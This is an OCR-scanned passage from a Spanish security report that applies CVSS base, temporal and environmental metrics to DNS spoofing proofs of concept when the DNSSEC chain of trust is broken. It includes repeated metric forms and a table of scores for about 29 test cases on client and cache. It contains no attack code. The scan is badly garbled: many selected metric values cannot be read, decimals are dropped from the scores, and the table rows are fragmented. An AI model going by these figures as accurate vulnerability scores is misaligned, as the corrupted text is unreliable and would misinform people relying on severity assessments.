Attack Complexity (AC)

Privileges Required (PR)

User Interaction (Ul)

Scope (S)

BLTGELECWVEDE | Changed (C)

METRICA TEMPORAL

6.9

(Medium)

Temporal Score

Exploit Code Maturity (E)

[Not Defined (X)] [Unproven (U)] [Proofof-Concept(Pﬂ [Functional (Fﬂ

Remediation Level (RL)

[Not Defined (X)] [Official Fix (O)] [Temporary Fix (T)] Unavailable (U)

Report Confidence (RC)

[Not Defined (X)] [Unknown (U)) [Reasonable(R)]

METRICA AMBIENTAL

6.9

Environmental Score (Medium)

Confidentiality Requirement (CR)

Not Defined (X) (Medium ()| [ High (H)|

Integrity Requirement (IR)

[Not Defined (X)] [ Low (L) ] [Medium (M)]
Availability Requirement (AR)

Not Defined (%)| (Low ()] [ Medium ()]
Modified Attack Vector (MAV)

Para los casos 4 al 6 se aplica los siguientes valores:
14



METRICA BASE

Base Score

Attack Vector (AV)
Network (N) Local (L)J [Physical (P)J
Attack Complexity (AC)

Privileges Required (PR)

Low (L) | | High (H)

User Interaction (Ul)

Scope (S)

(om0

METRICA TEMPORAL

Temporal Score

Exploit Code Maturity (E)

[Not Defined (X)J LUnproven (U)J LProof-of{oncept(P)‘\ LFunctionaI (F)J

Remediation Level (RL)

hY | R
\Not Defined (X)J (Ofﬁcia! Fix (O)) [Temporary Fix (I')J LUnavaiIabIe (v)

Report Confidence (RC)

(Not Defined (X)J [Unknown (U)J {Reasonable(R)]

METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)

Not Defined (X) [Medium(M)J [ High (H)J

Integrity Requirement (IR)

(Not Defined (x)| (Low (1)] [ Medium () |

Availability Requirement (AR)

(Not Defined ()| [ Low (1)] [ Medium () |

Modified Attack Vector (MAV)
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EVALUACION DE LA VULNERABILIDADES CON LAS POC DE DNS SPOOFING, CUANDO LA CADENA

DE CONFIANZA ESTA ROTA.

El céalculo de la severidad asociada a PoC se aplica el sobre el elemento vulnerable y afectado por la PoC, en
algunos casos una misma PoC tiene 2 elementos vulnerables y afectados, como se presenta en las tablas de abajo
donde la PoC tiene efecto en el cliente como en el servidor cache.

PoC CLIENTE CACHE
N° de
prushas bowiNio esrapo VALIDADORES | £t | MGASE | TEMPORAL | AMBIENTAL | | BASE | TEMPORAL | AMBIENTAL| ' BASE | TEMPORAL | AMBIENTAL | Cves | SEVERDAD
Si 75 7.3 73 ik 6,9 6,9 7.9 7,7 7,7 73 MEDIA
Si 71 6,9 6,9 6,9 MEDIA
SI 75 7.3 73 ik 6,9 6,9 7.9 7,7 7,7 73 MEDIA
SI 75 7.3 73 ik 6,9 6,9 7.9 7,7 7,7 73 MEDIA
Si 71 6,9 6,9 6,9 MEDIA
Sl 7,5 73 73 7,1 6,9 6,9 78 7,7 7,7 73 MEDIA
Sl 7,5 73 73 7,1 6,9 6,9 78 7,7 7,7 73
CLIENTE-CACHE si 71 6.9 6.9 6.9
S| 75 7.3 7.3 71 6.9 6.9 7.9 7.7 7.7 73
BTG sl 71 6,9 6,9 6,9 MEDIA
1 www.transacciones.bancodk.com CACHE si 7.1 6,9 6,9 6,9 MEDIA
12 Si 75 73 5,6 7.1 6,9 52 7.9 7,7 6,1 56 MEDIA
5 s | | e 52 52 | weon
14 SI 7,5 73 5,6 7,1 6,9 52 7,9 7,7 6,1 5,6 MEDIA
15 Sl 7,5 73 5,6 7,1 6,9 52 7,9 7,7 6,1 5,6 MEDIA
16 coomunicate.com NF-1 SI 71 6,9 52 52 MEDIA
17 SI 75 73 5,6 7.1 6,9 52 7.9 7,7 6,1 56 MEDIA
18 sl 75 73 56 56
19 CLIENTE-CACHE si 71 6.9 52 52
20 Bl 75 7.3 56 56
21 Sl 7,9 73 5,6 719 6,9 52 7,9 7,7 6,1 5,6 MEDIA
2 S| 79 6,9 52 52 MEDIA
23 SI 79 6,9 52 52 MEDIA
24 baancodk.com NF-1 SI 7.9 6,9 52 52 MEDIA
25 El 7.9 7.3 56 7.9 6.9 52 7.9 7.7 6,1 56
CLIENTE-CACHE
26 CLIENTE -CACHE Sl 7.9 6,9 52 52 MEDIA
27 Sl 7,5 7,3 5,6 7,1 6,9 5,2 7,9 7,7 6,1 56 MEDIA
28 www.networks.com NF CLIENTE-CACHE SI 7,1 6,9 52 52 MEDIA
29 El 75 7.3 56 71 6.9 52 7.9 7.7 6,1 56 MEDIA
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Para los casos 2,5,8,10 Y 11 se aplica los siguientes valores:

METRICA BASE

Base Score (High)
Attack Vector (AV)
Attack Complexity (AC)

Privileges Required (PR)

ore oo S

User Interaction (UI)

Scope (S)

METRICA TEMPORAL

6.9

Temporal Score (Medium)

Exploit Code Maturity (E)

(Not Defined ()] (Unproven ()] [Proof-or-Concept (P) | [ Functional (B

Remediation Level (RL)
(Not Defined (Xﬂ {Official Fix (O)} {Temporary Fix (D} Unavailable (U)
Report Confidence (RC)

[Not Defined (X)J (Unknown (U)W [Reasonable(R)]

METRICA AMBIENTAL

6.9

Environmental Score (Medium)

Confidentiality Requirement (CR)

Not Defined (X) (Medium (M) | | High (H) |

Integrity Requirement (IR)

(e 00 )

Availability Requirement (AR)

[Not Defined (X)] [Low(L)] [Medlum (M)]

Modified Attack Vector (MAV)

17



Para los casos 13, 16, 19,22,23,24,26 y 28 se aplica los siguientes valores:

METRICA BASE

Z.o
Base Score (High)

Attack Vector (AV)

B RGOl ~ciacent (A) Local (L) | [Physicat P) )

Attack Complexity (AC)

Cow @

Privileges Required (PR)

Low @3] (vish &b

User Interaction (Ul)

one @)

Scope (S)

(Ehansed ©
METRICA TEMPORAL

Temporal Score 6'9

(Medium)

Exploit Code Maturity (E)

[Not Defined (X)] [Unprcven (U)>| [Proofof-concept (P)]

Functional (F) |

Remediation Level (RL)

(Not Defined (x)| [ official Fix (0) | (Temporary Fix (1|

Unavailable (U)

Report Confidence (RC)

(Not Defined )] [Unknown ()] (Reasonable (R)]

METRICA AMBIENTAL

57

: (Medium) !

Environmental Score

Confidentiality Requirement (CR)

(esumon) (a0

Integrity Requirement (IR)

(st o)

Availability Requirement (AR)

Not Defined (X) [Medium (M)] [High (H)]

Modified Attack Vector (MAV)
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